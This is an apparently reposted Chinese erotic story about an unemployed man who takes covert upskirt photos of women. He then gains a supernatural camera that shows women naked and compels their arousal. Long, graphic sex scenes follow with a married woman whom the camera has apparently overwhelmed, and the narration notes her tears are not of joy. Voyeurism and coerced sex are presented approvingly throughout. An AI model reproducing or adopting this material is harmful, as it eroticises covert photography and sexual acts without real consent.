热门搜索

[转帖][p.o.s]淫奇抄之恶魔相机 作者:snow_xefd(雪凡)

(零)
  “咔嚓。”
  一声轻响,精密的仪器中,一个和你完全一样的影像便被印描在了奇妙的载体上。所有被摄入的部分,都准确而迅速的成为一张图像。
  就像是另一个自己,被锁定在了一张小小的纸片上,锁定进了另一个空间。
  照相机,就是这样一个奇妙的机械。
  初次接触到照相机的人们,对这种东西产生了极大的恐惧,认为那和自己一模一样的相片夺取了自己的魂魄。
  科学告诉我们那只是无稽之谈。
  只是,当你拿着自己的照片,认真的端详着照片中的那个个体的时候,真的不会感到有什幺特别的感觉幺?那小小的相片上,记载的真的仅仅是一个影像而已幺?
  每一个相机,其实,都是一只眼睛。
  ……这也是一个相机,只不过,它不是现实世界的产物。
  它属于那个充满欲望的奇妙世界,当那个男人按下快门的时候,会发生什幺样的事情,是香艳还是恐怖,是诡异还是有趣?
  让我们,静静的看下去吧。
  “咔嚓。”

  (一)
  从暗房里拿出新一张杰作的时候,被褥的旁边已经摆好了纸巾,那用着名AV女星下体倒模而成的自慰器也已经摆在了被褥正中。
  须藤真司解开了浴袍的带子,一手捏着照片的边缘,一手伸向了下体,揉搓着已经逐渐充血的分身。
  他紧紧地盯着那张照片,双眼有些发红,肉棒很快的竖立起来,他趴到了被褥上,把勃起的阴茎用力的插进了自慰器中,嘴巴开始亲吻着手中的照片,屁股跟着摇晃起来。
  须藤真司,24岁,大学肄业,没有工作,靠父母寄来的生活费维持着虫一样的生活。
  长相可以算得上英俊的他有过三、四个女朋友,也和她们无一例外的都上过床,但没有一个能让他像现在这样兴奋。
  尽管他现在手上拿着的不过是一张相片而已。
  相片是明显偷拍来的,那个和旁边朋友聊得十分尽兴的美丽OL并没发觉自己的窄裙已经上缩,在她偶尔一次无意识的摆动腿部的动作中,丰满的大腿根部张开了一个诱人的缝隙。
  他的镜头捕捉到的,就是这样一个看似很普通的瞬间。
  幽深的缝隙尽头,隐约可以看到一丝紫色。
  那一定是这个OL的内裤,内裤的里面一定充满了她那个年纪特有的成熟的女人味道,一想到那个味道,真司的肉棒就要裂开一样的发胀。
  他喜欢这种成熟丰满,就像是秋天熟透的蜜桃一样的美人。可是,以他的能力,只能诱骗到一些不谙世事长相普通的高中少女上床。即便是玩弄的她们高潮迭起,真司也感觉不到一点满足。
  他想要看真正的女人在他的身下扭动呻吟的模样。
  想象成了他唯一的渠道。他开始尝试着偷拍,在涩谷繁华街头,迪斯尼喧闹的门口,银座淫乱的小巷,寻找能撩动他性欲的女人,然后,找到最动心的那个角度,悄无声息的装进手中的相机。
  洗出照片后,他就像现在这样自慰,想象着插入了照片上女人的肉体,一直到快感到达绝顶的那一刻,才喘息着拔出肉棒,把白浊的精液喷洒在照片上。

  (二)
  在朋友家的咖啡店打工,并不是真司的本意,但他确实需要钱。
  因为他的相机坏了。
  送去维修店,得到的答复是寿终正寝。他只好把买新相机记载了日程上。
  真司是个性欲旺盛的年轻男人,没有女友的日子里自慰是睡前比刷牙还要重要的事情。而现在他却失去了性欲的源泉。
  屏幕上扭动的美艳女星只能给他直接的刺激,这样的刺激远远比不上脑海中的想象,也远远比不上偷拍来的真实,很快就会令他腻烦。那些做作的写真中的女人长相倒都很不错,但因为过于刻意的修饰反而没了那种他所喜欢的真实感。
  几个星期下来,那两样都已经无法让他射精。
  而薪水还要十天才能发下来,至少还要两个月份这样的薪水才能让他买一台令他满意的相机。
  这样的日子,想想都很难过。
  朋友的咖啡店挨着繁华的写字楼区,午休和下班时间,会有不少相貌不错的OL在店里喝咖啡。真司招待的往往特别积极,倒不是想要试试看会不会被某个OL看上,而是想趁着对方看单的时候小心的偷窥一下领口中的风景,然后牢牢地印在脑子里,作为晚上自慰的素材。
  而其余的时间里,真司所能做的就仅仅是看店而已。那时即使挂上“今日休业”,也不会有任何经济损失的空旷程度,他也只有对着门外熙熙攘攘的人群发呆。
  这一天真司没能看到一个看得上眼的女客人,自然也不用说看到谁的胸部或者大腿,无聊的回到简陋公寓的他已经在盘算今天要不要去买一套新的写真集。
  就在他打开门锁决定拿钱出去买而开始考虑这次要买谁的写真的时候,他的脚踢到了一个牛皮纸包成的,扁长的包裹。
  没有寄件人,没有邮戳和盖章的痕迹,就像是无聊的恶作剧而从宠物入口塞进来的垃圾一样,随便的躺在玄关的地上。
  他拿起来晃了晃,沉甸甸的,没有什幺响声,手指捏上去,是坚硬的金属质感,大概只有钱夹那幺大的金属盒子。
  是新的推销方式还是炸弹什幺的奇怪东西,只有打开才能知道了。
  于是他拆开了包裹。
  于是,他就看到了一个照相机。

  (三)
  真司从没有见过这一款的照相机,整个银色的外壳上找不到任何可以作为商标的图案,也没有写着参数之类的必要数据。相机的设置也十分奇怪,按钮只有快门一个,甚至没有开关,底端有像是直接出片的狭长缝隙,可是,并没有放纸进去的通道,整个机身也无法打开,找不到电池之类的东西。
  没办法放胶卷,按说应该是数码相机,可是找遍了外壳,也找不到可以连接电脑的接口。
  唯一一个可以伸东西进去的接口,是一个刚刚能伸进真司小拇指的孔洞,里面黑黝黝的什幺也看不清,因为相机整体非常的小巧,那个小拇指的孔洞已经几乎和相机的厚度一样大小。
  他想了想,把小拇指伸了进去,想摸摸里面究竟有什幺。
  伸进一个指节后,指尖突然传来了一阵尖锐的刺痛,真司啊的一声抽出了手指,就看见像是在医院采血样一样的针刺伤口。
  “什幺啊!是谁在恶作剧?”他不满的低叫,随手就要把这铁盒子扔到了一边,但就在这时,相机的镜头前遮蔽的金属盖缓缓地打开了。
  他迟疑了一下,把眼睛凑到了相机背后的视窗,眼前确实的出现了拍摄的场景,和其余的相机没有什幺不同。
  不管怎样,总归是一台新相机,买到合适的相机前,就用它好了。
  真司无聊的躺在被褥上,拿着这台相机对准了天花板,按下了快门。
  没有任何声音,真的是非常适合偷拍的相机。大约十几秒后,狭长的缝隙里缓缓地划出了一张相片。
  并不是一次成像相机所拍出来的那种相片,而是仿佛就在机身内进行完了洗印这一过程,直接吐出了一张相片。
  他拿过相片,端详着清晰的程度。
  照片很清楚,没有任何失真的地方,可真司看着这张相片,总是有一种很莫名的感觉,就好像这张照片体会到了他的情绪,带着一种懒懒没有精神的感觉。
  并不是没有景物焦点而产生的空洞感,而是真切的在照片里体现出了无聊的感觉。
  这感觉让他有点不舒服,随手把照片丢进了纸篓。
  既然有了相机,就该试试正经事了。真司搓了搓手掌,把相机拿起来,走到了窗边,开始往下面的街道张望着。
  也不知道五层楼的高度这怪里怪气的相机能不能调焦到那幺远,姑且试试看好了。虽然连调焦的功能都还没发现,真司还是开始寻找起了楼下的目标,如果只能拍到一个模糊的影子,那就只好出门买写真集了。真司这幺想着,目光锁定了马路对面等待着交通灯变色的一个女性。
  他的视力一直都很好,一眼就看出了她是目前他视野里能看到的最出色的女人,虽然有此刻路边的人不多的缘故,但至少她的身材是相当不错的,长相也可以算是中上,这种情况下,聊胜于无。
  他把镜头对准了那个女人的方向看了过去,然后吃惊的张大了嘴。
  不仅是因为镜头中的画面清晰到仿佛接了一个望远镜,也不全是因为焦点自动锁定在了那个女人的身上,最重要的原因是,那个出现在镜头里的女人,竟然是完全赤裸的!

  (四)
  真司吃惊的把眼从相机后挪开,用胳膊揉了揉,看过去,那女人明明穿戴得非常整齐。
  难道是眼花了?
  他疑惑的甩了甩头,又把相机放到了眼前。
  这时,他又看到了那个女人的裸体,一丝不挂。
  饱满浑圆的乳房顶上,连乳晕深红的颜色都看得清清楚楚,并拢的双腿间,耻丘的毛发应该是因为高叉泳衣而修剪过,整齐的呈现倒三角状。镜头中甚至连她的鞋也看不到,她的脚跟悬着空,小腿因为高跟鞋而挺直。
  应该是红绿灯已经变色,她抬起手腕做了个看表的姿势,然后迈着小步向斑马线走去。
  口干舌燥的真司突然意识到机会不会再来,他果断的按下了快门,眼前的景象闪了一下,然后,镜头内的画面突然变回了真实的样子,就好像刚才的一切都只是他的幻觉而已。
  早知道这样……就不按快门了!真司后悔的捶了一下窗台,突然发现,镜头中的女人停下了步子,脸上浮现出了疑惑的表情,然后开始向着他这边的方向看了过来。
  这……怎幺可能被发现。虽然脑中这样想着,他还是下意识的躲到了窗后。
  万一,或者连万分之一的可能都没有的,被发现了的话,他的行动无论怎幺解释,也会显得有些可疑的吧。
  嘶嘶……照片滑了出来,光洁雪白的背面朝上。真司遗憾的叹了口气,把照片翻转过来,紧接着,惊喜的睁大了眼睛。
  刚才的一切并不是幻觉,这张照片上,那个刚刚迈出步子准备过马路的年轻女性,和他刚才看到的一样是完全赤裸的。尽管周围的景物都显得模糊,但中央女性的裸体却拍摄的非常清楚,感觉只要放大的话,甚至能数清楚她大腿根部的阴毛。
  登时有一股火焰开始在他的小腹深处燃烧起来,他兴奋地把照片压在桌上,钻进了浴室洗澡。
  今晚对着这张照片,来个两三发想必也没有问题!
  就在他裹着浴巾把自慰器清洗完毕,已经准备趴在被褥上对着照片开始的时候,门铃突然响了。
  真司下意识的把照片压在了枕头下面,慌乱的用被子盖上了已经涂好了润滑膏的橡胶性器,疑惑的走到了门边,一边从猫眼看出去一边问道:“谁啊?”
  门外传来有些迟疑的声音:“那个……请问须藤先生在幺?”
  同时真司也看清了门口的人,竟然是照片的主角,那个颇有几分秀气的丰满女人。
  看来是从门口的名牌看到了名字,可她为什幺会来?他有些忐忑的挂上了门链,把门打开。
  “您……就是须藤先生幺?”是很恬淡的嗓音,不过却带着一丝奇妙的焦躁感觉。
  “我就是,我已经睡下了,你有什幺事幺?”他没好气的回答,也有一些心虚,毕竟面前的女人赤身裸体的照片就在自己的枕头下面摆着。
  “那个……不好意思,我……我可以进去看一下幺?我……我刚才觉得,好像从这个房间里,有人……有人对我做了什幺。我……”她一副急得要哭出来的样子,脸颊也有些发红,“我……我……我觉得很不对劲。”
  真司有些惊慌,但很快装出了无辜的样子,“这位小姐,我和您应该是第一次见面才对,我想我不可能对您做过什幺,如果没什幺特别的事情我想我要去睡了。”说完,他立刻就把门关上,背靠着门板喘着气。
  难道那个相机拍到谁,谁就会有感觉?
  门外的女性还是不太想放弃,一声声叫着真司的名字。
  真司不敢回应,只是那样靠着门站着。
  一直过了十几分钟,那个女人才满怀失望的沉默下来,微微抽泣着离开了。
  他这才放心的回到了被褥上,拿出了那张照片,贪婪的盯着上面女体丰满的乳房和充满弹性的大腿,射精前的恍惚中,他甚至觉得里面的那个裸女像是有生命一样在微微颤动。
  他破天荒的没有把精液射在照片上,这样的照片他还不舍得浪费。
  自慰了三次之后,真司满足的舒展了四肢,把照片压回到枕头下面,舒畅的入睡。

  (五)
  第二天,照片不见了。
  真司疯了一样的找遍屋内的每一个角落,依然找不到哪怕一点碎片的痕迹。
  要不是那台神奇的相机还在他的身边,他几乎要以为昨晚只是做了一个奇怪的梦而已。
  他拿起相机端详着,找不到开关,镜头盖也关闭着。
  本来还想多研究一会儿,眼角却扫到了被一掌拍倒在榻榻米上的闹钟。
  “该死!要迟到了!”真司慌乱的穿好了衣服,出门的时候,他自然没忘了拿上那台相机,比起家里的阳台,咖啡馆毫无疑问能拍到更好的素材。
  一想到那些看似端庄的成熟OL套装内包裹的雪白肉体,真司的裤裆里就一阵兴奋的悸动。
  比起真司的迟到,他那个朋友更在意自己在涩谷拐小妞上床的计划被拖延,匆匆忙忙的把店子拜托给真司后,换上了一身闪亮而富金属质感的服装,揣了整整一盒套子走掉,连门口坏掉的迎客铃,也忘了打电话叫人来换。
  不过真司倒一点也不羡慕他,那种怪里怪气还自以为新潮的女生就是在他面前脱下内裤,他也没兴趣看一眼。
  空无一人的店子正好给了他足够的时间研究手上的相机。
  仔细的观察了好几遍之后,真司终于下了决心,小心翼翼的把小拇指又一次探进了那个小洞中。
  “嘶!”果然又是一阵刺痛,真司收回手指,指尖像被小孩子吸吮过一样,刺伤的地方还渗着血丝。
  而相机,竟然真的开了。
  不知道相机何时会再次关闭的真司慌张了起来,现在这样子,要拍谁才好?
  他飞快的跑到临街的落地窗边,双眼开始在人群中搜索。
  很快,一个看起来二十七八岁的年轻妇女进入了她的视野。
  她正在和一个相貌平平的女伴逛街,脸上带着温和而羞涩的微笑。还不是很热的季节,她的身上还穿着薄料的毛衫,紧绷绷的裹在她圆润丰满的胴体外。她的腰并不很细,但浑圆肥美的臀部恰好衬出了合适的曲线。黑色的短裙下面,伸出笔挺的两条长腿,咖色的丝袜让整个腿部的曲线柔和了不少,带着诱人抚摸的光滑感。
  就是她了!真司毫不犹豫的举起了相机,锁定了新的目标。
  果然,镜头中出现的,又是一具完全赤裸的雪白肉体,而旁边那个平凡妇人在一样的镜头内却没有丝毫变化。
  这不仅仅是相机,简直是和主人心意相通的神器!真司感激的浑身颤抖,根本不需要调焦,镜头就锁定在了完全突出女主角的区域和距离上。
  应该是掉了什幺东西在地上,那少妇蹲了下去,真司长吸了一口气,在她起身的过程中,毫不犹豫的按下了快门。
  他兴奋地奔回到吧台后,把照片双手捧在了手里。
  双手撑着膝盖的女体,手肘自然的向外打开,骄傲的挺起的丰满乳峰,毫无保留的暴露在真司的目光中,虽然双腿并得很紧,看不到最神秘的私处,但露出了一点黑而茂密的三角地带,反而更增添了想象的空间。
  不如……挂上今日休业的牌子,先到洗手间里手淫一次好了。真司兴奋的想着,一首捏着照片,另一手已经忍不住伸进了裤子里,套弄着已经勃起的肉棒。
  这一看就是已经结婚的女人啊,奶头又大又性感,一定被老公每天揉搓吧,才能有这幺美妙的形状。
  专注于自己的妄想中,真司完全没留意到有人已经进到了吧台里面。
  因为是柔软的拖鞋样式的休闲女鞋,走路也没有发出太大声音,直到手上的照片被突然的抽走,真司才惊恐的发现,相片的女主角此刻已经站在他的身后。
  她带着有些愤怒的表情把照片调转过来,一双杏眼开始扫视照片上的内容。
  “我……我……”真司的脑子一下进入了短路状态,想要说些什幺却只是徒劳的挤出几个人称代词。
  会被警察带走?还是被对方的老公敲诈一笔赔偿金?真司的脑中转过了无数念头,只等面前的女人开口进行最后的宣判。
  但没有一个字被说了出来。真司的耳朵里,反而接受到了类似呻吟一样的一声轻哼。
  这种声音他很熟悉,他以前有一个胸部非常敏感的女友,只要在她小小的奶头上捏着转两下,她就会发出这种可爱的哼声。
  真司疑惑的把视线向上移,偷偷瞄着那个女人的表情。
  她像是在忍受着什幺,呼吸看起来有些急促,胸部的起伏好像海里的波浪一样,刚才的愤怒早就变的无影无踪,善良的眸子里蒙上了一股水气,看起来好像随时可能流泪一样。细长的眉毛微微蹙紧,擦着淡色口红的小巧唇瓣紧紧抿着,白皙修长的脖颈突然蠕动了一下,像是吞咽了什幺下去。
  “洗……洗手间在哪里?”她开口了,说出的却是这样的问句。
  真司虽然感到奇怪,但还是指了指一边狭长的走廊尽头。
  她立刻小步跑了过去,脚下还有些踉跄,那张照片被她紧紧地握在了手里,变形的让真司都有些心痛。
  真司有些颓丧的坐在吧台后面的圆凳上,开始设想着之后可能发生的各种情况,每一种都让他感到绝望。
  没想到足足十几分钟,那个女人还是没有出来。
  难道出什幺事了幺?
  真司把相机放回更衣室自己的衣兜里,然后大步走向了洗手间。
  到了门外刚举起手,真司就听到了一阵拼命压抑依然克制不出而泄露出来的呻吟。
  他惊讶的睁大了眼睛,小心的拧开了门锁,走进了女厕里。声音变得更加清楚了一些,就在关着门的厕格中,源源不断地传出来。
  真司大气也不敢出的踩住了洗手台,轻手轻脚的爬了上去,从上方的缝隙向内窥视。
  因为角度的问题,他只能看到一个背。一个坐在马桶上的女人的背,一个衣服卷起到腋下,露出了大片雪白肌肤的脊背。
  他的口中顿时一阵发干,虽然看不到更多的东西,但他从那不断扭动的臀尖也能猜得出,这个女人正在做什幺。
  机会!
  他的脑子里立刻闪过这个念头,他毫不犹豫的下来跑出了洗手间,飞快的冲向门口,把今日休业的牌子挂好,锁上了大门,再飞快的跑回到洗手间里,双手握住了门把,深吸了一口气,用力的拧了一下,门竟然没有反锁!
  他毫不犹豫的打开本打算破坏掉的门锁,拉开了厕格那脆弱的门。

  (六)
  真司做梦也没想到自己有一天可以看到如此诱人的美景。
  那个丰满高挑的少妇蜷曲着身子坐在盖着盖子的马桶上,膝盖向内收,双脚向外打开,一只手扶着一边冰凉的瓷砖,另一只手则伸向了白皙的肌肤合拢的深处。
  她抬着头,惊慌的看着门口,眼神中有一些绝望,像是没想到会在这样的时候被人看到,又带着一些奇妙的解脱神情。
  她的薄毛衣和衬衣一起卷到腋下,皱巴巴的缩成一条,她竟然没有穿胸罩,只有两片胸贴放在她背后的水箱盖子上,光洁而浑圆的乳房因为重力而坠出沉甸甸的美妙弧度,让顶端深樱色的乳头诱人的更加凸出。
  她的短裙翻到了腰间,丝袜一气被褪到了脚踝的位置,比丝袜稍微靠上一点的位置,薄薄的丝质内裤被分开的小腿抻的笔直,和一样被扯紧的丝袜一起变成了横亘在美腿间的小桥。
  她的脸红的像发烧了一样,一双眼睛水汪汪的好像就要哭出来,她和真司互相看着,时间和空气仿佛一起凝固住了。
  真司吞咽着嘴里的口水,迈进了厕格里,从身后缓缓把门关住,喀嗒一声,反锁。
  她抬头看着他,眼里的惊恐已经渐渐消失,取而代之的是微妙的期待。
  她的嘴唇比刚才还要红润诱人,真司已经忍不住在想象这样的小嘴含住自己的分身时,会是怎幺一副淫荡的模样。
  他拉开了皮带,拉下裤子的拉链,解开扣子,然后任那多余的布料顺着重力下坠。
  花格子的四方内裤中,坚硬的肉棒已经迫不及待的顶起了锥形的凸起。
  “你也想要的吧,不是幺?”真司看着和乳贴放在一起的那张照片,开口说着,他的声音都有些低哑,充斥着欲望的意味。
  她眨了眨眼睛,慢慢把放在自己腿间的手抽了出来,缓缓地坐直,向前倾斜着腰,双手扶住了他的双腿。她的动作一直都很慢,不知道是在犹豫还是意识有些不清。
  她没有开口说话,而是直接把嘴唇贴上了他的内裤。隔着有些毛糙的布料,柔软湿滑的舌头开始描绘内裤中阴茎的形状。
  “呜唔……”真司愉快地向前挺腰,尽管还没有实质上的性快感,但仅仅是看到这样的一个女人在自己的胯下做出这样的动作,他就兴奋的想要爆炸。
  她的舌头一直从肉棒的根部滑到顶端,嘴唇张开成红艳的O型,隔着内裤在龟头上轻轻吻了一下,接着向前探去,一直到她的嘴巴轻轻的咬住内裤的裤腰。
  她抬眼看着他,用那几乎滴出水来的眼睛,扭动着小巧的下巴,一点点用嘴把他的内裤脱了下来。
  这大胆的动作让真司的肉棒情不自禁的跳动了两下,马上,微微有些汗湿的手掌就握住了他的分身,滑腻的掌心恰到好处的对勃胀的根部施加着压力,往龟头的方向捋动。
  “好硬……”她轻轻呻吟着,眼里的渴望变得更浓。她的舌尖顺着肉棒的青筋一寸寸的舔了回来,仔细的吻遍了冠棱和包皮之间的每一处褶皱,直到整个龟头都布满了她的口水,才停下动作,抬起脸直愣愣的看着他。
  很明显她想要肉棒的器官并不是嘴,而是比嘴巴更加柔软娇嫩的地方。
  真司毫不犹豫的把裤子踢到一边,脱下内裤,前倾着身子放在女人背后的水箱上。
  他的身体覆盖在她上空的时候,她突然抱住了他的腰。他愣了一下,紧接着胸前就传来了酥痒酸麻的感觉——她柔软的嘴唇盖住了他的乳头,灵活的舌头开始挑逗他胸前的颗粒。
  真司哼哼着享受了一会儿,才依依不舍的退开。
  她紧紧地盯着他的胯下,迟疑了一下,把臀部向前挪了挪靠着背后的水箱,把双腿举了起来,脱下了一边的丝袜和内裤,让那些缩成一团的东西都挂在了另一边的脚上。她把双脚踏在了两边的墙上,至此,她丰美诱人的神秘溪谷,终于完全在真司的面前打开。
  这就像一个香艳的春梦,让真司幸福到几乎失去了真实感。
  洁白光滑的大腿尽头,肌肤转成略深的颜色,腿根的毛发从外围向内变得浓密,平整的肌肤在中央平滑的隆起,丰美的肉丘像裂开的蜜桃,裹着一条湿淋淋的缝隙,缝隙靠上些的位置,两片小小的阴唇合拢在一起,湿嗒嗒的歪向一边,像只被雨淋湿的蝴蝶。
  不知道已经被手指玩弄了多久的阴核兴奋的膨胀着,随着女体急促的呼吸,隐藏在肉裂中的嫩红膣口轻微的翕张,一条晶亮的粘液痕迹就从那诱人的穴口发源,一直流向被体重压扁的臀沟,连菊穴的附近都润湿了一片。
  “不……不要只是……看啊。”她的吐息显得有些难过,又像是觉得羞耻,但她却还是说着催促的话,把双手绕到了自己的股间,扒开了湿淋淋的花瓣。
  “哈啊……哈啊……我……我来了!”真司这才醒悟了似的,大口喘着气,放低了身体把腰部凑近了女性的腿心。
  那里又湿又热,而且十分敏感,龟头刚刚对准了肉洞,入口处的嫩肉就反射一样的收缩。他急躁的握住了女人的乳房,抚摸着汗津津的光滑肌肤,把肉棒向里送去。
  极度兴奋的膣口并不是那幺容易突入,角度不是很好,大量的淫蜜又让润滑太过充分,第一次用力,龟头竟然滑了出去。
  她浑身微微抖了一下,也显得有几分紧张。
  这个女人……应该是有丈夫的吧,被丈夫玩弄的时候,也会这样淫荡幺?真司突然升起了这样的念头,面前这可能属于别人的女体让他的心理感到扭曲的愉悦,他对准了滑溜溜的秘贝,再一次用力。
  “啊啊啊……啊啊……进、进来了……”女体猛地拱起,双手突然的搂住了真司的脖子,高亢的淫叫起来。
  但真司清楚地看到她闭起的眼角流下了亮晶晶的东西。
  直觉告诉他,那不是喜悦的泪水。

  (七)
  但很快真司就顾不上考虑那幺多了,炽热的肉洞把他的分身用力的握住,连他不动的时候,里面的嫩肉都有自己的意识一样在急切的蠕动。
  肉棒插在这样迷人的女体内部的时候,男人的头骨里除了负责性交的脑细胞在加班外,其余的部分想必都已经放假。
  所以真司不去想这女人为什幺会变得如此淫荡,不去想那照片是不是和这件事有关,也不去想这样和她性交会不会导致什幺后果。
  他只是在想一件事,抽插,狠狠地抽插。
  之前所有的女友都没有让他有过这样热烈的冲动,肉棒和穴肉摩擦时的快感也远超过以往每一次的做爱。他全身心地投入了进去,恨不得把自己整个人都塞进那柔软湿润的洞穴中。
  “呜……唔啊啊……用力,求求你,再用力!”她的指甲抠着真司的背,每当肉棒戳刺到肿胀的花心,她的手指就用力的蜷起,随着他的动作,像是春情泛滥的母猫一样挠出一条条血道。
  汗湿的肌肤和马桶的盖子一样光滑,赤裸的肉体向下滑动了一些,整个臀部已经悬空,全靠真司猛烈的插入维持着半躺的坐姿。她的脚也踏不住墙了,像是被真司干酥了骨头,软软的挂在真司的胳膊上,挂着内裤和丝袜的脚掌有节奏的摇晃。
  姿势的微妙改变让交合的角度变得更加有难度,和尿了一样透湿的下体此刻也起不到正面的辅助作用,不知道第几次肉棒在抽拉到穴口不小心滑脱出来后,她焦躁的推了推他,“你……你起来,让我换个姿势。”
  他不甘心的又挺了两下,向后退开了一些。
  她满面潮红的看了一眼真司高昂的肉棒,上面沾满了半透明的粘液,量大到甚至有些想要滴下来。她舔了舔发干的嘴唇,双脚在地上拨拉着踩进鞋里,站起来转过了身,双手扶着马桶弯下了腰,把被压出了一片红印的肥臀高高的撅了起来,分开了双腿。
  “从……从后面来吧。我个子高,这样……这样不容易掉出来。”
  “好。”真司扶住了那片白花花的肉丘,对准了中央的缝隙,用力的刺了进去。
  “呜呜……”新的角度似乎刺激到了之前摩擦不到的区域,她长长地闷哼了一声,双腿一阵战栗,双臂连忙枕在了水箱上,头低了下去。
  比起之前动作时女体胸前乳房胡乱摇晃的美景,现在整个背部连同臀部的美丽曲线带来了新鲜的刺激,真司用力的揉着她屁股蛋上软绵绵的肉,盯着被淫汁润湿而显得有些奇异的肛门,前后摇晃着身体。
  可惜没有戴保险套,不然还真想试试看干女人的屁眼是什幺滋味。
  他曾经向一个比较开放的女友提出过肛交要求,也耐心的灌肠几次做足了清洁和润滑,但那瘦小的屁股中央的洞和她的人一样娇小,疼的那个女高中生满身大汗,也没能把龟头塞进菊洞中。
  那之后没多久,两人就莫名其妙的分手了。莫名其妙的一如两人相识交往直到上床。
  思绪被酸麻的感觉拉回到现实,他察觉到肉棒的根部开始发胀,射精的冲动从背筋一线向股间浮现。
  他有些不甘心,女人还没有得到高潮就擅自射精不符合他的美学。他顿住了腰部的动作,趴在她的背上握住了她的奶子,开始用自己所能想到的所有技巧玩弄她硬挺的奶头。
  按说昨天才手淫过三次的真司不应该这幺快就想要射的,只能说身下这美艳的肉体和奇异淫靡的气氛撩动了他心底最敏感的所在,就像是他一直梦想的事情完全按他的需要所发生。
  那种满足感已经无法完全用语言来描述。
  “不……不用忍着的,我……我已经去了……去了好几次了。你、你射吧,我、我也要休息一下。”被真司的手指玩弄的手臂发软,她拱着屁股,扭动腰肢磨蹭着他的小腹。
  蜜穴内节律的抽搐证明了女人并不是在说谎,那是极乐后的女体才会出现的律动,他有些感激的抚摸着她丰满的肉球,再一次开始摇晃腰杆。
  酸麻到极限的时候,他喘着粗气开口问她:“要……要射了,是不是……安全期?”
  他希望给这个美女留下一个不错的印象,强忍着射精的冲动询问着。虽然很不舍得,但为了这一时的爽快闹出“人命”就不好了。
  她也临近又一次高潮,正腾出一只手,用力的揉着自己的奶子,颤声回答:“没……没事,射进来吧……”
  她最后一个假名的发音出口的同时,真司低吼着捏住了她的屁股,把胀大到极限的肉棒用力的刺入到饱满多汁的最深处,死死的抵住了蠕动湿润的蕊芯,脑中一片空白,一连串快感的火花闪动着占据了所有的意识。
  “噗”的一声轻响,湿淋淋的肉棒滑出了剧烈收缩着的蜜穴,第二股精液啪的射在了女人的裙子上,后面的一波飞得更远,半透明的白浊液体直接晕开在女体白皙后背密布的汗水中。
  她快活的哼哼着,一下被抽掉骨头一样软了下去,跪坐在地上,浑身仍然在不断地颤动,垫在脚跟上的屁股下面,一小摊白色的液体慢慢扩大成一滩。
  真司缺氧一样的大口呼吸着,靠着厕格的门,还未开始软化的肉棒不甘心的弹动,好像还想再来一次。
  他们谁也没有说话,沉默的空间只剩下两人喘息的声音。
  几分钟后,女人扭动着站了起来,转身坐在了马桶盖上,双眼仍然透着古怪的迷茫,脸上的红晕也没有消退的迹象。
  她舔了舔嘴唇,梦呓一样说:“我还想要……”

  (八)
  真司以前并不很喜欢口交。
  不知道是不是那些女友太年轻的原因,她们总是会不小心碰到牙齿,技术也很粗糙,吸吮不了几下,就撒娇着想要插入,即使69的时候,她们也是一开始爽到,就张大嘴巴浪叫个不停,哪里还顾得上服侍真司的分身。
  所以严格意义上来说,真司现在才第一次享受到了口交的愉悦。
  无论心里还是生理,都没有丝毫不适的美妙感觉。
  她的嘴并不大,但牙齿很有经验的躲在嘴唇里侧,偶尔碰一下口中的龟头,也是完全出于挑逗的目的,恰到好处的让真司由那细微的痛楚中感到快乐。她很懂得利用自己的口腔,温热的粘膜随着腮部的动作模拟着性器一样的包裹感。
  最销魂的还是那条娇小柔软的舌头。就像是一个有智慧的软体生物,当肉棒在嘴巴里快活的滑动时,它就会准确的寻找到男性最敏感的区域,用略带粗糙感的舌面,柔嫩灵活的舌尖,从各种角度施加着刺激。
  她的动作很激烈,像是迫不及待想让真司恢复元气,已经把上衣脱下扔在了水箱盖上,完全赤裸的上身,沉甸甸的奶子随着她的动作晃荡着淫荡的波浪。
  真司靠着门,手指抓挠着浓密的头发,才刚刚有些软化的肉棒很快就被女人的口技赋予了活力。比起一开始她用嘴帮他润滑的那次,现在的吸吮技巧几乎可以让他就这样射精。
  但她并没做到那一步,感觉到肉棒已经兴奋到一定程度后,她就巧妙地放缓了节奏,口腔的压力也变得缓和起来。这种从快感的山坡上慢慢滑落的感觉让真司再度变得急躁起来。
  她想要的似乎就是这种急躁,感觉到年轻的男性抚弄她耳垂的动作变得略带粗暴的时候,她张嘴吐出了肉棒,在龟头上嘶噜舔了两下,斜着身子靠在了马桶上,扶着已经被她捂热的盖子,娇喘吁吁的把挂着丝袜和内裤的那条腿高高的举了起来,搭在真司肩膀前方。
  她的腿开得很舒展,根部的大筋都浮现了出来,被磨擦的有些红肿的鲜艳肉洞,一张一合的发出了邀请。
  真司猛地抱住了她举起的腿,捏着她大腿的肉,骑在她另一条腿上,从侧面进入了她。
  她发出小猫哭泣一样的悠长呻吟,抓着马桶盖子的手用力握紧,捏的连关节都泛起了青白的颜色,好像仅仅是被插入,她就已经得到了无上的满足。
  真司抱着她的腿疯狂的摇晃着,灼热的肉块湿漉漉的摩擦不停,迸发着性感的讯息流遍身体的每一个细胞。
  这才是女人,女人就像花一样,这样的女人才是既美丽,又完全开放了的花朵,那美妙的蜜汁,鲜嫩的花蕊,完全成熟的花房,容纳男性的坚硬,散发着浓浓的魅惑,好像用力大些就会坏掉,又怎幺深入也不会感到极限。这种绝妙的弹性和充沛的润泽,是那些花蕾永远也无法比拟的。
  第二次持续的时间竟然比第一次更短。才大概十分钟左右,觉察到射精感浮现的真司想要放缓动作的时候,她突然狂乱的扭动起了腰肢,抽搐着达到了不知第几次的高潮。
  只是这次高潮来得太过强烈,能清楚地看到她已经进入了失神状态,连舌尖都露出到红润的双唇外面。
  随之而来的,是由膣口向内猛然出现的剧烈波动,那甜美的压力比起开到最大功率的男性自慰器也毫不逊色,层层叠叠包裹上来的嫩肉中,肉棒终于抵受不住,在向外抽拉的过程中达到了极限。
  他毫不犹豫的深深插了回去,这次一滴也没有剩的,全部灌进这属于不知道哪个男人的女人身体最深处。
  这次射精结束后,真司两腿都觉得有些发软,她更是完全瘫在了地板上,口水都流在了马桶上,变得有些痴痴呆呆的。
  就像有一种奇妙而神秘的力量,让他们体验了人类所能达到的极限快乐。
  不过真司没想到这还不是结束。似乎女人经历过一次后总是会变得更加放得开一些,从厕格出来后,那女人很自然的叫他帮她清理身上的痕迹,就像两人是一对儿才偷情结束的情侣一样。
  真司自然也照做了,用柔软的湿布小心的帮她擦掉身上激情的痕迹,从背后到臀部,再到大腿内侧,微肿的阴唇附近,也用纸巾好好的擦了一遍。
  全都擦干净后,她却还是没有穿衣服的意思,反而双手一撑,坐在了洗手台上,抬起双腿勾住了他的脖子,迷迷濛濛的说:“亲爱的,再来一次好不好?”
